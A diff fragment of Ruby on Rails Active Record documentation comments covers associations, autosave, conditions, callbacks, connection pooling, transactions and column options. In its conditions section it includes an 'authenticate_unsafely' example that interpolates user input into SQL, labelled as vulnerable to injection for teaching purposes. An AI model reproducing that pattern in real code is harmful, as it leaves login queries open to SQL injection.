+ # level of association. Since Rails 2.1, this is the default strategy. In
+ # situations where a table join is necessary (e.g. when the +:conditions+
+ # option references an association's column), it will fallback to the table
+ # join strategy.

+ # <tt>belongs_to :author</tt>, <tt>has_many :buyers</tt> has association
+ # names +:author+ and +:buyers+.
+ #
+ # == Parameters
+ # +records+ is an array of ActiveRecord::Base. This array needs not be flat,
+ # i.e. +records+ itself may also contain arrays of records. In any case,
+ # +preload_associations+ will preload the all associations records by
+ # flattening +records+.
+ #
+ # +associations+ specifies one or more associations that you want to
+ # preload. It may be:
+ # - a Symbol or a String which specifies a single association name. For
+ # example, specifying +:books+ allows this method to preload all books
+ # for an Author.
+ # - an Array which specifies multiple association names. This array
+ # is processed recursively. For example, specifying <tt>[:avatar, :books]</tt>
+ # allows this method to preload an author's avatar as well as all of his
+ # books.
+ # - a Hash which specifies multiple association names, as well as
+ # association names for the to-be-preloaded association objects. For
+ # example, specifying <tt>{ author: :avatar }</tt> will preload a
+ # book's author, as well as that author's avatar.
+ #
+ # +:associations+ has the same format as the +:include+ option for
+ # <tt>ActiveRecord::Base.find</tt>. So +associations+ could look like this:
+ #
+ # :books
+ # [ :books, :author ]
+ # { author: :avatar }
+ # [ :books, { author: :avatar } ]

+module ActiveRecord
+ # = Active Record Autosave Association
+ #
+ # +AutosaveAssociation+ is a module that takes care of automatically saving
+ # associated records when their parent is saved. In addition to saving, it
+ # also destroys any associated records that were marked for destruction.
+ # (See +mark_for_destruction+ and <tt>marked_for_destruction?</tt>).
+ #
+ # Saving of the parent, its associations, and the destruction of marked
+ # associations, all happen inside a transaction. This should never leave the
+ # database in an inconsistent state.
+ #
+ # If validations for any of the associations fail, their error messages will
+ # be applied to the parent.
+ #
+ # Note that it also means that associations marked for destruction won't
+ # be destroyed directly. They will however still be marked for destruction.
+ #
+ # Note that <tt>autosave: false</tt> is not same as not declaring <tt>:autosave</tt>.
+ # When the <tt>:autosave</tt> option is not present new associations are saved.
+ #
+ # == Validation
+ #
+ # Children records are validated unless <tt>:validate</tt> is +false+.
+ #
+ # == Callbacks
+ #
+ # Association with autosave option defines several callbacks on your
+ # model (before_save, after_create, after_update). Please note that
+ # callbacks are executed in the order they were defined in
+ # model. You should avoid modifying the association content, before
+ # autosave callbacks are executed. Placing your callbacks after
+ # associations is usually a good practice.
+ #
+ # === One-to-one Example
+ #
+ # class Post
+ # has_one :author, autosave: true
+ # end
+ #
+ # Saving changes to the parent and its associated model can now be performed
+ # automatically _and_ atomically:
+ #
+ # post = Post.find(1)
+ # post.title # => "The current global position of migrating ducks"
+ # post.author.name # => "alloy"
+ #
+ # post.title = "On the migration of ducks"
+ # post.author.name = "Eloy Duran"
+ #
+ # post.save
+ # post.reload
+ # post.title # => "On the migration of ducks"
+ # post.author.name # => "Eloy Duran"
+ #
+ # Destroying an associated model, as part of the parent's save action, is as
+ # simple as marking it for destruction:
+ #
+ # post.author.mark_for_destruction
+ # post.author.marked_for_destruction? # => true
+ #
+ # Note that the model is _not_ yet removed from the database:
+ #
+ # id = post.author.id
+ # Author.find_by(id: id).nil? # => false
+ #
+ # post.save
+ # post.reload.author # => nil
+ #
+ # Now it _is_ removed from the database:
+ #
+ # Author.find_by(id: id).nil? # => true
+ #
+ # === One-to-many Example
+ #
+ # When <tt>:autosave</tt> is not declared new children are saved when their parent is saved:
+ #
+ # class Post
+ # has_many :comments # :autosave option is not declared
+ # end
+ #
+ # post = Post.new(title: 'ruby rocks')
+ # post.comments.build(body: 'hello world')
+ # post.save # => saves both post and comment
+ #
+ # post = Post.create(title: 'ruby rocks')
+ # post.comments.build(body: 'hello world')
+ # post.save # => saves both post and comment
+ #
+ # post = Post.create(title: 'ruby rocks')
+ # post.comments.create(body: 'hello world')
+ # post.save # => saves both post and comment
+ #
+ # When <tt>:autosave</tt> is true all children are saved, no matter whether they
+ # are new records or not:
+ #
+ # class Post
+ # has_many :comments, autosave: true
+ # end
+ #
+ # post = Post.create(title: 'ruby rocks')
+ # post.comments.create(body: 'hello world')
+ # post.comments[0].body = 'hi everyone'
+ # post.save # => saves both post and comment, with 'hi everyone' as body
+ #
+ # Destroying one of the associated models as part of the parent's save action
+ # is as simple as marking it for destruction:
+ #
+ # post.comments.last.mark_for_destruction
+ # post.comments.last.marked_for_destruction? # => true
+ # post.comments.length # => 2
+ #
+ # Note that the model is _not_ yet removed from the database:
+ #
+ # id = post.comments.last.id
+ # Comment.find_by(id: id).nil? # => false
+ #
+ # post.save
+ # post.reload.comments.length # => 1
+ #

+module ActiveRecord #:nodoc:
+ # = Active Record
+ #
+ # Active Record objects don't specify their attributes directly, but rather infer them from
+ # the table definition with which they're linked. Adding, removing, and changing attributes
+ # and their type is done directly in the database. Any change is instantly reflected in the
+ # Active Record objects. The mapping that binds a given Active Record class to a certain
+ # database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.
+ #
+ # See the mapping rules in table_name and the full example in link:files/activerecord/README_rdoc.html for more insight.
+ #
+ # == Creation
+ #
+ # Active Records accept constructor parameters either in a hash or as a block. The hash
+ # method is especially useful when you're receiving the data from somewhere else, like an
+ # HTTP request. It works like this:
+ #
+ # user = User.new(name: "David", occupation: "Code Artist")
+ # user.name # => "David"
+ #
+ # You can also use block initialization:
+ #
+ # user = User.new do |u|
+ # u.name = "David"
+ # u.occupation = "Code Artist"
+ # end
+ #
+ # And of course you can just create a bare object and specify the attributes after the fact:
+ #
+ # user = User.new
+ # user.name = "David"
+ # user.occupation = "Code Artist"
+ #
+ # == Conditions
+ #
+ # Conditions can either be specified as a string, array, or hash representing the WHERE-part of an SQL statement.
+ # The array form is to be used when the condition input is tainted and requires sanitization. The string form can
+ # be used for statements that don't involve tainted data. The hash form works much like the array form, except
+ # only equality and range is possible. Examples:
+ #
+ # class User < ActiveRecord::Base
+ # def self.authenticate_unsafely(user_name, password)
+ # where("user_name = '#{user_name}' AND password = '#{password}'").first
+ # end
+ #
+ # def self.authenticate_safely(user_name, password)
+ # where("user_name = ? AND password = ?", user_name, password).first
+ # end
+ #
+ # def self.authenticate_safely_simply(user_name, password)
+ # where(user_name: user_name, password: password).first
+ # end
+ # end
+ #
+ # The <tt>authenticate_unsafely</tt> method inserts the parameters directly into the query
+ # and is thus susceptible to SQL-injection attacks if the <tt>user_name</tt> and +password+
+ # parameters come directly from an HTTP request. The <tt>authenticate_safely</tt> and
+ # <tt>authenticate_safely_simply</tt> both will sanitize the <tt>user_name</tt> and +password+
+ # before inserting them in the query, which will ensure that an attacker can't escape the
+ # query and fake the login (or worse).
+ #
+ # When using multiple parameters in the conditions, it can easily become hard to read exactly
+ # what the fourth or fifth question mark is supposed to represent. In those cases, you can
+ # resort to named bind variables instead. That's done by replacing the question marks with
+ # symbols and supplying a hash with values for the matching symbol keys:
+ #
+ # Company.where(
+ # "id = :id AND name = :name AND division = :division AND created_at > :accounting_date",
+ # { id: 3, name: "37signals", division: "First", accounting_date: '2005-01-01' }
+ # ).first
+ #
+ # Similarly, a simple hash without a statement will generate conditions based on equality with the SQL AND
+ # operator. For instance:
+ #
+ # Student.where(first_name: "Harvey", status: 1)
+ # Student.where(params[:student])
+ #
+ # A range may be used in the hash to use the SQL BETWEEN operator:
+ #
+ # Student.where(grade: 9..12)
+ #
+ # An array may be used in the hash to use the SQL IN operator:
+ #
+ # Student.where(grade: [9,11,12])
+ #
+ # When joining tables, nested hashes or keys written in the form 'table_name.column_name'
+ # can be used to qualify the table name of a particular condition. For instance:
+ #
+ # Student.joins(:schools).where(schools: { category: 'public' })
+ # Student.joins(:schools).where('schools.category' => 'public' )
+ #
+ # == Overwriting default accessors
+ #
+ # All column values are automatically available through basic accessors on the Active Record
+ # object, but sometimes you want to specialize this behavior. This can be done by overwriting
+ # the default accessors (using the same name as the attribute) and calling
+ # <tt>read_attribute(attr_name)</tt> and <tt>write_attribute(attr_name, value)</tt> to actually
+ # change things.
+ #
+ # class Song < ActiveRecord::Base
+ # # Uses an integer of seconds to hold the length of the song
+ #
+ # def length=(minutes)
+ # write_attribute(:length, minutes.to_i * 60)
+ # end
+ #
+ # def length
+ # read_attribute(:length) / 60
+ # end
+ # end
+ #
+ # You can alternatively use <tt>self[:attribute]=(value)</tt> and <tt>self[:attribute]</tt>
+ # instead of <tt>write_attribute(:attribute, value)</tt> and <tt>read_attribute(:attribute)</tt>.
+ #
+ # == Attribute query methods
+ #
+ # In addition to the basic accessors, query methods are also automatically available on the Active Record object.
+ # Query methods allow you to test whether an attribute value is present.
+ #
+ # For example, an Active Record User with the <tt>name</tt> attribute has a <tt>name?</tt> method that you can call
+ # to determine whether the user has a name:
+ #
+ # user = User.new(name: "David")
+ # user.name? # => true
+ #
+ # anonymous = User.new(name: "")
+ # anonymous.name? # => false
+ #
+ # == Accessing attributes before they have been typecasted
+ #
+ # Sometimes you want to be able to read the raw attribute data without having the column-determined
+ # typecast run its course first. That can be done by using the <tt><attribute>_before_type_cast</tt>
+ # accessors that all attributes have. For example, if your Account model has a <tt>balance</tt> attribute,
+ # you can call <tt>account.balance_before_type_cast</tt> or <tt>account.id_before_type_cast</tt>.
+ #
+ # This is especially useful in validation situations where the user might supply a string for an
+ # integer field and you want to display the original string back in an error message. Accessing the
+ # attribute normally would typecast the string to 0, which isn't what you want.
+ #
+ # == Dynamic attribute-based finders
+ #
+ # Dynamic attribute-based finders are a mildly deprecated way of getting (and/or creating) objects
+ # by simple queries without turning to SQL. They work by appending the name of an attribute
+ # to <tt>find_by_</tt> like <tt>Person.find_by_user_name</tt>.
+ # Instead of writing <tt>Person.find_by(user_name: user_name)</tt>, you can use
+ # <tt>Person.find_by_user_name(user_name)</tt>.
+ #
+ # It's possible to add an exclamation point (!) on the end of the dynamic finders to get them to raise an
+ # <tt>ActiveRecord::RecordNotFound</tt> error if they do not return any records,
+ # like <tt>Person.find_by_last_name!</tt>.
+ #
+ # It's also possible to use multiple attributes in the same find by separating them with "_and_".
+ #
+ # Person.find_by(user_name: user_name, password: password)
+ # Person.find_by_user_name_and_password(user_name, password) # with dynamic finder
+ #
+ # It's even possible to call these dynamic finder methods on relations and named scopes.
+ #
+ # Payment.order("created_on").find_by_amount(50)
+ #
+ # == Saving arrays, hashes, and other non-mappable objects in text columns
+ #
+ # Active Record can serialize any object in text columns using YAML. To do so, you must
+ # specify this with a call to the class method +serialize+.
+ # This makes it possible to store arrays, hashes, and other non-mappable objects without doing
+ # any additional work.
+ #
+ # class User < ActiveRecord::Base
+ # serialize :preferences
+ # end
+ #
+ # user = User.create(preferences: { "background" => "black", "display" => large })
+ # User.find(user.id).preferences # => { "background" => "black", "display" => large }
+ #
+ # You can also specify a class option as the second parameter that'll raise an exception
+ # if a serialized object is retrieved as a descendant of a class not in the hierarchy.
+ #
+ # class User < ActiveRecord::Base
+ # serialize :preferences, Hash
+ # end
+ #
+ # user = User.create(preferences: %w( one two three ))
+ # User.find(user.id).preferences # raises SerializationTypeMismatch
+ #
+ # When you specify a class option, the default value for that attribute will be a new
+ # instance of that class.
+ #
+ # class User < ActiveRecord::Base
+ # serialize :preferences, OpenStruct
+ # end
+ #
+ # user = User.new
+ # user.preferences.theme_color = "red"
+ #
+ #
+ # == Single table inheritance
+ #
+ # Active Record allows inheritance by storing the name of the class in a column that by
+ # default is named "type" (can be changed by overwriting <tt>Base.inheritance_column</tt>).
+ # This means that an inheritance looking like this:
+ #
+ # class Company < ActiveRecord::Base; end
+ # class Firm < Company; end
+ # class Client < Company; end
+ # class PriorityClient < Client; end
+ #
+ # When you do <tt>Firm.create(name: "37signals")</tt>, this record will be saved in
+ # the companies table with type = "Firm". You can then fetch this row again using
+ # <tt>Company.where(name: '37signals').first</tt> and it will return a Firm object.
+ #
+ # If you don't have a type column defined in your table, single-table inheritance won't
+ # be triggered. In that case, it'll work just like normal subclasses with no special magic
+ # for differentiating between them or reloading the right type with find.
+ #
+ # Note, all the attributes for all the cases are kept in the same table. Read more:
+ # http://www.martinfowler.com/eaaCatalog/singleTableInheritance.html
+ #
+ # == Connection to multiple databases in different models
+ #
+ # Connections are usually created through ActiveRecord::Base.establish_connection and retrieved
+ # by ActiveRecord::Base.connection. All classes inheriting from ActiveRecord::Base will use this
+ # connection. But you can also set a class-specific connection. For example, if Course is an
+ # ActiveRecord::Base, but resides in a different database, you can just say <tt>Course.establish_connection</tt>
+ # and Course and all of its subclasses will use this connection instead.
+ #
+ # This feature is implemented by keeping a connection pool in ActiveRecord::Base that is
+ # a Hash indexed by the class. If a connection is requested, the retrieve_connection method
+ # will go up the class-hierarchy until a connection is found in the connection pool.
+ #
+ # == Exceptions
+ #
+ # * ActiveRecordError - Generic error class and superclass of all other errors raised by Active Record.
+ # * AdapterNotSpecified - The configuration hash used in <tt>establish_connection</tt> didn't include an
+ # <tt>:adapter</tt> key.
+ # * AdapterNotFound - The <tt>:adapter</tt> key used in <tt>establish_connection</tt> specified a
+ # non-existent adapter
+ # (or a bad spelling of an existing one).
+ # * AssociationTypeMismatch - The object assigned to the association wasn't of the type
+ # specified in the association definition.
+ # * AttributeAssignmentError - An error occurred while doing a mass assignment through the
+ # <tt>attributes=</tt> method.
+ # You can inspect the +attribute+ property of the exception object to determine which attribute
+ # triggered the error.
+ # * ConnectionNotEstablished - No connection has been established. Use <tt>establish_connection</tt>
+ # before querying.
+ # * MultiparameterAssignmentErrors - Collection of errors that occurred during a mass assignment using the
+ # <tt>attributes=</tt> method. The +errors+ property of this exception contains an array of
+ # AttributeAssignmentError
+ # objects that should be inspected to determine which attributes triggered the errors.
+ # * RecordInvalid - raised by save! and create! when the record is invalid.
+ # * RecordNotFound - No record responded to the +find+ method. Either the row with the given ID doesn't exist
+ # or the row didn't meet the additional restrictions. Some +find+ calls do not raise this exception to signal
+ # nothing was found, please check its documentation for further details.
+ # * SerializationTypeMismatch - The serialized object wasn't of the class specified as the second parameter.
+ # * StatementInvalid - The database server rejected the SQL statement. The precise error is added in the message.
+ #
+ # *Note*: The attributes listed are class-level attributes (accessible from both the class and instance level).
+ # So it's possible to assign a logger to the class through <tt>Base.logger=</tt> which will then be used by all
+ # instances in the current object space.

+module ActiveRecord
+ # = Active Record Callbacks
+ #
+ # Callbacks are hooks into the life cycle of an Active Record object that allow you to trigger logic
+ # before or after an alteration of the object state. This can be used to make sure that associated and
+ # dependent objects are deleted when +destroy+ is called (by overwriting +before_destroy+) or to massage attributes
+ # before they're validated (by overwriting +before_validation+). As an example of the callbacks initiated, consider
+ # the <tt>Base#save</tt> call for a new record:
+ #
+ # * (-) <tt>save</tt>
+ # * (-) <tt>valid</tt>
+ # * (1) <tt>before_validation</tt>
+ # * (-) <tt>validate</tt>
+ # * (2) <tt>after_validation</tt>
+ # * (3) <tt>before_save</tt>
+ # * (4) <tt>before_create</tt>
+ # * (-) <tt>create</tt>
+ # * (5) <tt>after_create</tt>
+ # * (6) <tt>after_save</tt>
+ # * (7) <tt>after_commit</tt>
+ #
+ # Also, an <tt>after_rollback</tt> callback can be configured to be triggered whenever a rollback is issued.
+ # Check out <tt>ActiveRecord::Transactions</tt> for more details about <tt>after_commit</tt> and
+ # <tt>after_rollback</tt>.
+ #
+ # Lastly an <tt>after_find</tt> and <tt>after_initialize</tt> callback is triggered for each object that
+ # is found and instantiated by a finder, with <tt>after_initialize</tt> being triggered after new objects
+ # are instantiated as well.
+ #
+ # That's a total of twelve callbacks, which gives you immense power to react and prepare for each state in the
+ # Active Record life cycle. The sequence for calling <tt>Base#save</tt> for an existing record is similar,
+ # except that each <tt>_create</tt> callback is replaced by the corresponding <tt>_update</tt> callback.
+ #
+ # Examples:
+ # class CreditCard < ActiveRecord::Base
+ # # Strip everything but digits, so the user can specify "555 234 34" or
+ # # "5552-3434" and both will mean "55523434"
+ # before_validation(on: :create) do
+ # self.number = number.gsub(/[^0-9]/, "") if attribute_present?("number")
+ # end
+ # end
+ #
+ # class Subscription < ActiveRecord::Base
+ # before_create :record_signup
+ #
+ # private
+ # def record_signup
+ # self.signed_up_on = Date.today
+ # end
+ # end
+ #
+ # class Firm < ActiveRecord::Base
+ # # Destroys the associated clients and people when the firm is destroyed
+ # before_destroy { |record| Person.destroy_all "firm_id = #{record.id}" }
+ # before_destroy { |record| Client.destroy_all "client_of = #{record.id}" }
+ # end
+ #
+ # == Inheritable callback queues
+ #
+ # Besides the overwritable callback methods, it's also possible to register callbacks through the
+ # use of the callback macros. Their main advantage is that the macros add behavior into a callback
+ # queue that is kept intact down through an inheritance hierarchy.
+ #
+ # class Topic < ActiveRecord::Base
+ # before_destroy :destroy_author
+ # end
+ #
+ # class Reply < Topic
+ # before_destroy :destroy_readers
+ # end
+ #
+ # Now, when <tt>Topic#destroy</tt> is run only +destroy_author+ is called. When <tt>Reply#destroy</tt> is
+ # run, both +destroy_author+ and +destroy_readers+ are called. Contrast this to the following situation
+ # where the +before_destroy+ method is overridden:
+ #
+ # class Topic < ActiveRecord::Base
+ # def before_destroy() destroy_author end
+ # end
+ #
+ # class Reply < Topic
+ # def before_destroy() destroy_readers end
+ # end
+ #
+ # In that case, <tt>Reply#destroy</tt> would only run +destroy_readers+ and _not_ +destroy_author+.
+ # So, use the callback macros when you want to ensure that a certain callback is called for the entire
+ # hierarchy, and use the regular overwritable methods when you want to leave it up to each descendant
+ # to decide whether they want to call +super+ and trigger the inherited callbacks.
+ #
+ # *IMPORTANT:* In order for inheritance to work for the callback queues, you must specify the
+ # callbacks before specifying the associations. Otherwise, you might trigger the loading of a
+ # child before the parent has registered the callbacks and they won't be inherited.
+ #
+ # == Types of callbacks
+ #
+ # There are four types of callbacks accepted by the callback macros: Method references (symbol), callback objects,
+ # inline methods (using a proc), and inline eval methods (using a string). Method references and callback objects
+ # are the recommended approaches, inline methods using a proc are sometimes appropriate (such as for
+ # creating mix-ins), and inline eval methods are deprecated.
+ #
+ # The method reference callbacks work by specifying a protected or private method available in the object, like this:
+ #
+ # class Topic < ActiveRecord::Base
+ # before_destroy :delete_parents
+ #
+ # private
+ # def delete_parents
+ # self.class.delete_all "parent_id = #{id}"
+ # end
+ # end
+ #
+ # The callback objects have methods named after the callback called with the record as the only parameter, such as:
+ #
+ # class BankAccount < ActiveRecord::Base
+ # before_save EncryptionWrapper.new
+ # after_save EncryptionWrapper.new
+ # after_initialize EncryptionWrapper.new
+ # end
+ #
+ # class EncryptionWrapper
+ # def before_save(record)
+ # record.credit_card_number = encrypt(record.credit_card_number)
+ # end
+ #
+ # def after_save(record)
+ # record.credit_card_number = decrypt(record.credit_card_number)
+ # end
+ #
+ # alias_method :after_find, :after_save
+ #
+ # private
+ # def encrypt(value)
+ # # Secrecy is committed
+ # end
+ #
+ # def decrypt(value)
+ # # Secrecy is unveiled
+ # end
+ # end
+ #
+ # So you specify the object you want messaged on a given callback. When that callback is triggered, the object has
+ # a method by the name of the callback messaged. You can make these callbacks more flexible by passing in other
+ # initialization data such as the name of the attribute to work with:
+ #
+ # class BankAccount < ActiveRecord::Base
+ # before_save EncryptionWrapper.new("credit_card_number")
+ # after_save EncryptionWrapper.new("credit_card_number")
+ # after_initialize EncryptionWrapper.new("credit_card_number")
+ # end
+ #
+ # class EncryptionWrapper
+ # def initialize(attribute)
+ # @attribute = attribute
+ # end
+ #
+ # def before_save(record)
+ # record.send("#{@attribute}=", encrypt(record.send("#{@attribute}")))
+ # end
+ #
+ # def after_save(record)
+ # record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
+ # end
+ #
+ # alias_method :after_find, :after_save
+ #
+ # private
+ # def encrypt(value)
+ # # Secrecy is committed
+ # end
+ #
+ # def decrypt(value)
+ # # Secrecy is unveiled
+ # end
+ # end
+ #
+ # The callback macros usually accept a symbol for the method they're supposed to run, but you can also
+ # pass a "method string", which will then be evaluated within the binding of the callback. Example:
+ #
+ # class Topic < ActiveRecord::Base
+ # before_destroy 'self.class.delete_all "parent_id = #{id}"'
+ # end
+ #
+ # Notice that single quotes (') are used so the <tt>#{id}</tt> part isn't evaluated until the callback
+ # is triggered. Also note that these inline callbacks can be stacked just like the regular ones:
+ #
+ # class Topic < ActiveRecord::Base
+ # before_destroy 'self.class.delete_all "parent_id = #{id}"',
+ # 'puts "Evaluated after parents are destroyed"'
+ # end
+ #
+ # == <tt>before_validation*</tt> returning statements
+ #
+ # If the returning value of a +before_validation+ callback can be evaluated to +false+, the process will be
+ # aborted and <tt>Base#save</tt> will return +false+. If Base#save! is called it will raise a
+ # ActiveRecord::RecordInvalid exception. Nothing will be appended to the errors object.
+ #
+ # == Canceling callbacks
+ #
+ # If a <tt>before_*</tt> callback returns +false+, all the later callbacks and the associated action are
+ # cancelled. If an <tt>after_*</tt> callback returns +false+, all the later callbacks are cancelled.
+ # Callbacks are generally run in the order they are defined, with the exception of callbacks defined as
+ # methods on the model, which are called last.
+ #
+ # == Ordering callbacks
+ #
+ # Sometimes the code needs that the callbacks execute in a specific order. For example, a +before_destroy+
+ # callback (+log_children+ in this case) should be executed before the children get destroyed by the +dependent: destroy+ option.
+ #
+ # Let's look at the code below:
+ #
+ # class Topic < ActiveRecord::Base
+ # has_many :children, dependent: destroy
+ #
+ # before_destroy :log_children
+ #
+ # private
+ # def log_children
+ # # Child processing
+ # end
+ # end
+ #
+ # In this case, the problem is that when the +before_destroy+ callback is executed, the children are not available
+ # because the +destroy+ callback gets executed first. You can use the +prepend+ option on the +before_destroy+ callback to avoid this.
+ #
+ # class Topic < ActiveRecord::Base
+ # has_many :children, dependent: destroy
+ #
+ # before_destroy :log_children, prepend: true
+ #
+ # private
+ # def log_children
+ # # Child processing
+ # end
+ # end
+ #
+ # This way, the +before_destroy+ gets executed before the <tt>dependent: destroy</tt> is called, and the data is still available.
+ #
+ # == Transactions
+ #
+ # The entire callback chain of a +save+, <tt>save!</tt>, or +destroy+ call runs
+ # within a transaction. That includes <tt>after_*</tt> hooks. If everything
+ # goes fine a COMMIT is executed once the chain has been completed.
+ #
+ # If a <tt>before_*</tt> callback cancels the action a ROLLBACK is issued. You
+ # can also trigger a ROLLBACK raising an exception in any of the callbacks,
+ # including <tt>after_*</tt> hooks. Note, however, that in that case the client
+ # needs to be aware of it because an ordinary +save+ will raise such exception
+ # instead of quietly returning +false+.
+ #
+ # == Debugging callbacks
+ #
+ # The callback chain is accessible via the <tt>_*_callbacks</tt> method on an object. ActiveModel Callbacks support
+ # <tt>:before</tt>, <tt>:after</tt> and <tt>:around</tt> as values for the <tt>kind</tt> property. The <tt>kind</tt> property
+ # defines what part of the chain the callback runs in.
+ #
+ # To find all callbacks in the before_save callback chain:
+ #
+ # Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }
+ #
+ # Returns an array of callback objects that form the before_save chain.
+ #
+ # To further check if the before_save chain contains a proc defined as <tt>rest_when_dead</tt> use the <tt>filter</tt> property of the callback object:
+ #
+ # Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }.collect(&:filter).include?(:rest_when_dead)
+ #
+ # Returns true or false depending on whether the proc is contained in the before_save callback chain on a Topic model.

+ class ConnectionTimeoutError < ConnectionNotEstablished
+ end
+
+ module ConnectionAdapters
+ # Connection pool base class for managing Active Record database
+ # connections.
+ #
+ # == Introduction
+ #
+ # A connection pool synchronizes thread access to a limited number of
+ # database connections. The basic idea is that each thread checks out a
+ # database connection from the pool, uses that connection, and checks the
+ # connection back in. ConnectionPool is completely thread-safe, and will
+ # ensure that a connection cannot be used by two threads at the same time,
+ # as long as ConnectionPool's contract is correctly followed. It will also
+ # handle cases in which there are more threads than connections: if all
+ # connections have been checked out, and a thread tries to checkout a
+ # connection anyway, then ConnectionPool will wait until some other thread
+ # has checked in a connection.
+ #
+ # == Obtaining (checking out) a connection
+ #
+ # Connections can be obtained and used from a connection pool in several
+ # ways:
+ #
+ # 1. Simply use ActiveRecord::Base.connection as with Active Record 2.1 and
+ # earlier (pre-connection-pooling). Eventually, when you're done with
+ # the connection(s) and wish it to be returned to the pool, you call
+ # ActiveRecord::Base.clear_active_connections!. This will be the
+ # default behavior for Active Record when used in conjunction with
+ # Action Pack's request handling cycle.
+ # 2. Manually check out a connection from the pool with
+ # ActiveRecord::Base.connection_pool.checkout. You are responsible for
+ # returning this connection to the pool when finished by calling
+ # ActiveRecord::Base.connection_pool.checkin(connection).
+ # 3. Use ActiveRecord::Base.connection_pool.with_connection(&block), which
+ # obtains a connection, yields it as the sole argument to the block,
+ # and returns it to the pool after the block completes.
+ #
+ # Connections in the pool are actually AbstractAdapter objects (or objects
+ # compatible with AbstractAdapter's interface).
+ #
+ # == Options
+ #
+ # There are several connection-pooling-related options that you can add to
+ # your database connection configuration:
+ #
+ # * +pool+: number indicating size of connection pool (default 5)
+ # * +checkout_timeout+: number of seconds to block and wait for a connection
+ # before giving up and raising a timeout error (default 5 seconds).
+ # * +reaping_frequency+: frequency in seconds to periodically run the
+ # Reaper, which attempts to find and close dead connections, which can
+ # occur if a programmer forgets to close a connection at the end of a
+ # thread or a thread dies unexpectedly. (Default nil, which means don't
+ # run the Reaper).
+ # * +dead_connection_timeout+: number of seconds from last checkout
+ # after which the Reaper will consider a connection reapable. (default
+ # 5 seconds).

+ # Runs the given block in a database transaction, and returns the result
+ # of the block.
+ #
+ # == Nested transactions support
+ #
+ # Most databases don't support true nested transactions. At the time of
+ # writing, the only database that supports true nested transactions that
+ # we're aware of, is MS-SQL.
+ #
+ # In order to get around this problem, #transaction will emulate the effect
+ # of nested transactions, by using savepoints:
+ # http://dev.mysql.com/doc/refman/5.0/en/savepoint.html
+ # Savepoints are supported by MySQL and PostgreSQL. SQLite3 version >= '3.6.8'
+ # supports savepoints.
+ #
+ # It is safe to call this method if a database transaction is already open,
+ # i.e. if #transaction is called within another #transaction block. In case
+ # of a nested call, #transaction will behave as follows:
+ #
+ # - The block will be run without doing anything. All database statements
+ # that happen within the block are effectively appended to the already
+ # open database transaction.
+ # - However, if +:requires_new+ is set, the block will be wrapped in a
+ # database savepoint acting as a sub-transaction.
+ #
+ # === Caveats
+ #
+ # MySQL doesn't support DDL transactions. If you perform a DDL operation,
+ # then any created savepoints will be automatically released. For example,
+ # if you've created a savepoint, then you execute a CREATE TABLE statement,
+ # then the savepoint that was created will be automatically released.
+ #
+ # This means that, on MySQL, you shouldn't execute DDL operations inside
+ # a #transaction call that you know might create a savepoint. Otherwise,
+ # #transaction will raise exceptions when it tries to release the
+ # already-automatically-released savepoints:
+ #
+ # Model.connection.transaction do # BEGIN
+ # Model.connection.transaction(requires_new: true) do # CREATE SAVEPOINT active_record_1
+ # Model.connection.create_table(...)
+ # # active_record_1 now automatically released
+ # end # RELEASE SAVEPOINT active_record_1 <--- BOOM! database error!
+ # end
+ #
+ # == Transaction isolation
+ #
+ # If your database supports setting the isolation level for a transaction, you can set
+ # it like so:
+ #
+ # Post.transaction(isolation: :serializable) do
+ # # ...
+ # end
+ #
+ # Valid isolation levels are:
+ #
+ # * <tt>:read_uncommitted</tt>
+ # * <tt>:read_committed</tt>
+ # * <tt>:repeatable_read</tt>
+ # * <tt>:serializable</tt>
+ #
+ # You should consult the documentation for your database to understand the
+ # semantics of these different levels:
+ #
+ # * http://www.postgresql.org/docs/9.1/static/transaction-iso.html
+ # * https://dev.mysql.com/doc/refman/5.0/en/set-transaction.html
+ #
+ # An <tt>ActiveRecord::TransactionIsolationError</tt> will be raised if:
+ #
+ # * The adapter does not support setting the isolation level
+ # * You are joining an existing open transaction
+ # * You are creating a nested (savepoint) transaction
+ #
+ # The mysql, mysql2 and postgresql adapters support setting the transaction
+ # isolation level. However, support is disabled for mysql versions below 5,
+ # because they are affected by a bug[http://bugs.mysql.com/bug.php?id=39170]

+ # The +type+ parameter is normally one of the migrations native types,

+ # <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>,
+ # <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>,
+ # <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>,
+ # <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.
+ #
+ # You may use a type not in this list as long as it is supported by your
+ # database (for example, "polygon" in MySQL), but this will not be database
+ # agnostic and should usually be avoided.
+ #
+ # Available options are (none of these exists by default):
+ # * <tt>:limit</tt> -
+ # Requests a maximum column length. This is number of characters for <tt>:string</tt> and
+ # <tt>:text</tt> columns and number of bytes for <tt>:binary</tt> and <tt>:integer</tt> columns.
+ # * <tt>:default</tt> -
+ # The column's default value. Use nil for NULL.
+ # * <tt>:null</tt> -
+ # Allows or disallows +NULL+ values in the column. This option could
+ # have been named <tt>:null_allowed</tt>.
+ # * <tt>:precision</tt> -
+ # Specifies the precision for a <tt>:decimal</tt> column.
+ # * <tt>:scale</tt> -
+ # Specifies the scale for a <tt>:decimal</tt> column.
+ #
+ # For clarity's sake: the precision is the number of significant digits,
+ # while the scale is the number of digits that can be stored following
+ # the decimal point. For example, the number 123.45 has a precision of 5
+ # and a scale of 2. A decimal with a precision of 5 and a scale of 2 can
+ # range from -999.99 to 999.99.
+ #
+ # Please be aware of different RDBMS implementations behavior with
+ # <tt>:decimal</tt> columns:
+ # * The SQL standard says the default scale should be 0, <tt>:scale</tt> <=
+ # <tt>:precision</tt>, and makes no comments about the requirements of
+ # <tt>:precision</tt>.
+ # * MySQL: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..30].
+ # Default is (10,0).
+ # * PostgreSQL: <tt>:precision</tt> [1..infinity],
+ # <tt>:scale</tt> [0..infinity]. No default.
+ # * SQLite2: Any <tt>:precision</tt> and <tt>:scale</tt> may be used.
+ # Internal storage as strings. No default.
+ # * SQLite3: No restrictions on <tt>:precision</tt> and <tt>:scale</tt>,
+ # but the maximum supported <tt>:precision</tt> is 16. No default.
+ # * Oracle: <tt>:precision</tt> [1..38], <tt>:scale</tt> [-84..127].
+ # Default is (38,0).
